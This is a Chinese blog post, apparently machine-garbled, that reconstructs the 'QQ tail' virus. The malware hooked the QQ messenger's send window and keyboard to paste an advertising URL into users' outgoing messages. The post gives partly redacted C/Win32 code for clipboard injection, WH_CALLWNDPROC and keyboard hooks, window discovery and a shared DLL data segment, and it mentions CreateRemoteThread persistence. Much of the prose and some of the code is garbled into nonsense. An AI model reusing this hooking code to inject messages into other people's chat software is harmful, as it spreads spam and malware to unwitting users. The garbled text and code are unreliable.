QQ尾巴制作原理

这几年里,QQ尾巴病毒可以是人家斑斓的调准瞄准器一段时期。它在QQ上狂乱的运用IE投递头一阵狂风。投毒者在向旁人发送人。,病毒会非本意的动作在音讯倒转术的前面添加人家句子。,词的使满意增多。,长话短说,祝愿人接受人会点击UR。,发生下人家醉人。
我将在这边议论什么,执意QQ尾巴病毒运用的技术。鉴于病毒的源加密不进行,因而上面的加密都是我的主观臆断,侥幸的是,使发生与病毒自身根本平稳的。。  
注:思索保护推理,本文一点点空白用了*号来替代恰当地加密。  

  粘尾巴  

  第人家复杂的成绩是方式添加倒转术。。这项技术无神秘的。,它是经过有纸夹的笔记板到ReHeHIT的QQ音讯的音讯。。加密列举如下:  

TCHAR g_str[] = 迎将偶遇我的小车站。:”;  
// 行使职责效能:向倒转术框中粘尾巴  
void PasteText(HWND hRich)  
{  
HGLOBAL hMem;  
LPTSTR pStr;  
// 分派存储以一定间隔排列  
hMem = GlobalAlloc(GHND   GMEM_SHARE, sizeof(g_str));  
pStr = 全球锁(HMEM)  
lstrcpy(pStr, g_str);  
大局解锁(HMEM)  
OpenClipboard(空);  
EmptyClipboard();  
// 设置有纸夹的笔记板倒转术  
SetClipboardData(CF_TEXT, HMEM)  
CloseClipboard();  
// 公映的新影片存储以一定间隔排列  
GlobalFree(HMEM)  
// 贴倒转术  
***********(*****, **_*****,*,*);  
}  
钩子  

  好了,因而上面的成绩是,即使贴倒转术?互联网网络上某些数量认为如何。QQ尾巴写信的家具点明,您可以运用定时曝光把持计来把持贴时期。,类推如此色彩:  

void CQQTailDlg::OnTimer(UINT nIDEvent)  
{  
PasteText(hRich);  
}  

  这实在是人家清算使适应。,不管怎样它也在着极大的极限——定时器的跨距方式设置?或许投毒者在打字,尾倒转术Sua呈现……  

  但病毒自身并找有毛病这么,它可以精确地在你单击“发送”或按下Ctrl+Enter键的时分将倒转术贴上。2003年1月,我的人家P2投毒了。,鉴于零碎很慢,因而你可以变清澈地笔记倒转术贴的时期。。  

  这是这边。,我所情况的犯罪行为必然会使你发生一名读本。:钩子!——对,这是钩子,接下来我按着的是用钩子重行呈现。QQ尾巴这种病毒技术。  

  率先我复杂绍介一下钩子。,熟习钩子的伴星可以地下室这段写信。。同样的事物的Win32钩(钩子)找有毛病钩子的使再次发生臂。,这是人家辅顺序。,进行于测定、检测零碎说得中肯指定音讯,做一点点详细的效能。诸如,诸如,你的一件商品是天子,视窗零碎充任各省的巡按。;按着钩子,可以被期望帝王之差。。诸如,天子计划在天南海北纳税。,后来地发送极限找到山西州州长:天子有人家旨意。,除山西普通税外,添加新华村酒十坛。”(-_-#……犹如天子可以用这种方法手感特别的州长。,顺序员也可以运用钩子接住Windows零碎说得中肯指定音讯。。  

  成绩是详细的。QQ尾巴病毒的顶端,这执意我们的需求的钩子,在用户单击发送使系牢之物随后,贴我们的的倒转术。我默认的钩辅顺序是向方式钩住钩子的。,我继再解说。:  

// 钩子快跑,监督发送命令音讯  
LRESULT CALLBACK 叫来顺序 nCode, WPARAM wParam, LPARAM lParam)  
{  
********* ** = (********* *)******;  
// 接住发送使系牢之物  
if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)  
PasteText(g_hRich);  
return CallNextHookEx(g_hProc, nCode, wParam, lParam);  
}  
这边我解说如此回调的快跑。:  

  1、LPARAM是要点CWPStrut妥协的指导,如此妥协的表现列举如下:  

typedef struct {  
LPARAM lParam;  
WPARAM wParam;  
UINT message;  
**** ****;  
} CWPSTRUCT, *PCWPSTRUCT;  

  在如此时分,像我公正地,SDK 吹拂们可能会笑:这找有毛病窗口回调说得中肯4铁决议因素吗?,实在是这么,你甚至可以运用替换 (p->message) { /* … */ 用如此加密汇编的钩子行使职责适配器了QQ窗口。。  

  2、GH-H穷人是人家大局变量,生活QQ短信倒转术框的句柄。这边运用大局变量。,鉴于我不克不及从练习用无音键盘回调CA的决议因素中承受如此句柄。按着方式取得如此句柄和如此大局变量的特别席位,我他日再解说。

  3、CallNextHookEx是叫来链说得中肯下人家处置快跑。,在某种程度上,反倒庙堂:“十坛新华村酒本钦差已经替陛下收下了,如今让巡按把你们省的普通税带到站的。。”(-_-#……这是汇编钩子行使职责中特别的要紧的人家环节。,即使句子少于那句子,这可能会落得零碎的钩子链呈现有毛病。,一点点顺序也会无答复——犯罪行为上我在汇编如此恐惧的事物顺序的时分QQ就以担保了几回。  

  4、你可能会问我为什么要接纳WMX命令音讯。,鉴于如此推理,让我运用上面的SDK加密(尽管QQ是我写的),但用SDK加密才干阐明WM_COMMAND和“发送”使系牢之物的相干)来阐明:  

#define IDC_BTN_SENDMSG 1 // 发送使系牢之物ID的宏界说  
// QQ发送音讯对话框回调快跑。马丽伪造版  
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)  
{  
switch (味素)  
{  
case WM_CLOSE:  
EndDialog(hDlg, 0);  
break;  
case WM_COMMAND:  
{  
switch (LOWORD(wParam))  
{  
case IDC_BTN_SENDMSG:  
// 发送人。  
*****;  
// 其余的命令使系牢之物处置使分裂。  
}  
}  
break;  
// 情况的其余的使分裂。  
}  
****** *;  
}  

  音讯发送的专门快跑是:当用户单击发送使系牢之物时,如此使系牢之物的父窗口(也执意“发送音讯”的对话框)会收到同上WM_COMMAND的流通的音讯,里面wParam的低位字(即LOWORD(wParam))为如此使系牢之物的ID,后来地叫来加密中发送的使分裂:   因而,在此我接住WM_COMMAND音讯要比接住其它音讯或挂接鼠标钩子命令效得多。  

好了,如今钩子已经成地结束了任务。。但请不要遗忘:更多的用户比如用CTRL Enter快速键发送音讯。,因而你需求在顺序中上升人家练习用无音键盘钩子:  

// 练习用无音键盘钩子追逐,监督发送快速键音讯  
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)  
{  
// 接住快速键音讯  
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && ******* >= 0)  
PasteText(g_hRich);  
return CallNextHookEx(g_hKey, nCode, wParam, lParam);  
}  

  这边要解说的可是点是LPARAM >= 0条目。显然,如此判别是判别快速键CTRL Enter的输出。,这么lParam >= 0是什么?犯罪行为上,在练习用无音键盘钩子的回调中。,LPARAM是人家特别的要紧的决议因素,它遏制击键的逆转次数。、扫描码、向生长枢要迹象的人等。里面lParam的最高位(0x80000000)则表现了普遍地如此键使适应被按下,即使如此一点被按下,这是0。,在另一方面,它是1。。因而lParam >= 0隐含在WMYKEYDOWN下叫来PASETEXTEXT。,也执意说,即使移除此使适应,PasteText将被叫来两倍(与WMYKEYUP一齐)。  

  钩子和查找窗口  

  下人家成绩是方式钩住这两个钩子。。吊钩,要处理的成绩是:钩子在哪里,方式挂断器?  

  钩子勾靶,这必然是QQ发送人窗口的线状物。。我的加密是导入如此窗口的句柄来钩住钩子。:  

// 挂接钩子  
BOOL WINAPI SetHook(HWND hQQ)  
{  
BOOL bRet = FALSE;  
if (hQQ != 空)  
{  
DWORD dwThreadID = GetWindowThreadProcessId(hQQ, 空);  
// 感激的样子HoTyy的查找加密,这使我免于运用特务的讨厌的人。  
g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);  
if (g_hRich == 空)  
****** *****;  
// 挂接钩子  
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, 叫来顺序, g_hInstDLL, dwThreadID);  
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);  
bRet = (g_hProc != 空) && (g_hKey != 空);  
}  
****
{  
// 倾倒钩子  
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);  
g_hProc = NULL;  
g_hKey = NULL;  
g_hRich = NULL;  
}  
return bRet;  
}  

  迄今,承认上述的加密都坐落于恒稳态节库中。,我不太绍介DLL,请参阅顾虑MSDN和背衬源C的相关性人。  

  DLL到站的已经做好了承认要紧的任务(犯罪行为上这使分裂任务也不料由DLL来结束,这是由Windows虚拟内存机制决议的。,我们的只需求在EXE中叫来导出的Sthook行使职责。。这么,方式获取SETOOK的决议因素?理解上面的加密:  

// 感激的样子HoTyy的查找加密,这使我免于运用特务的讨厌的人。  
HWND hSend;  
*_*** = ****;  
SetHook(空);  
**
{  
g_hQQ = FindWindowEx(NULL, g_hQQ, “#32770”, 空);  
hSend = FindWindowEx(g_hQQ, NULL, “Button”, 发送(和)  
} while(g_hQQ != NULL && hSend == 空);  
if (g_hQQ != 空)  
SetHook(g_hQQ);  

  此加密说得中肯do-while大约用于查找发送音讯的窗口。,QQ窗口的安全的越来越强,发生性关系窗户,找到它很不手边的。,因而在此感激的样子挚友hottey的《QQ音讯炸弹恶作剧》一文未顾及了我逆转运用Spy++的讨厌的人。我所做的,把Delphi加密从他的倒转术替换成C加密。。  DLL共享通知段  

  即使你对DLL默认不多,因而在视力我的源加密随后,上面的加密必然有些成绩:  

// 界说共享通知段  
#pragma data_seg(“shared”)  
HHOOK g_hProc = NULL; // 窗口追逐钩子句柄  
HHOOK g_hKey = NULL; // 练习用无音键盘钩子句柄  
HWND g_hRich = NULL; // 倒转术框句柄  
#pragma data_seg()  
#pragma 正文(节器), /使分裂:共享,RWS  

  这界说了人家共享的通知段。,是的,鉴于我的笔记写得很变清澈。,这么,共享通知段在答复如此成绩从前拟人化什么角色?,我查问您正文从COD开端的预处置秩序。,你会发明什么?  

  是的,添加牛臀肉毛病!  

  好了,让我解说一下如此成绩。。我们的的恐惧的事物顺序EXE、DLL和QQ的首要顺序事实上的是上面的相干。:  

  此DLL需求将先例映照到EXE的地址以一定间隔排列以叫来其叫来。,还需求将另人家先例映照到QQ到C的地址以一定间隔排列。。也执意说,当钩子结束时,在专门零碎的模块中,两个DLL先例的在性!DLL也找有毛病DLL,因而他们经过无稍微修饰。。以大局变量GH-HRICH为例,图恰当地的DLL经过TH获取倒转术框的句柄。,但即使无共享段,因而在恰当地的DLL,G.H穷人依然空。共享使分裂的价值也使平滑如玻璃出现。,是为了使安全EXE、DLL、QQ三经过的衔接。这点,它与C说得中肯恒稳态盟员变量似。。  

  钩子成后,您可以经过模块视域行使职责检查一点点追逐干事。,它将在模块中找到。。  

  最近的按着的话  

  1、我从前说过,我在2003年1月对抗了这种病毒。,到眼前为止,我变清澈地取消病毒EXE正是16KB尺寸。,因而从病毒自身的角色,如此东西理所当然用Wi32 ASM汇编。这会更实践一点点。。  

  2、我已经偷走病毒,用快跑视域器抢走它。。但如今的“QQ尾巴添加复生效能-在EXE被抢走后,DLL会醒来它。我用我的快跑视域器来辨析它,发明零碎中简直承认的追逐都被DL所接住。。这一技术是使用CreateRemoteThread在承认的追逐上各拔出了人家额定的复生螺纹,真可谓是一举两得——使安全EXE老是运转,同时,在运用的DLL不克不及被删去。。我已经认识到这项技术。,但稳定性远不如病毒自身好。,因而这边无写。,有兴趣的伴星可以翻阅杰夫瑞 里克特Windows小片预调相关性章节。  

  3、这让我记着了Hou Jie教员的STL源加密辨析:,无神秘的。即使你看完这篇写信,你就会有这种感触。,因而我浅尝特别的寻欢作乐。

发表评论

电子邮件地址不会被公开。 必填项已用*标注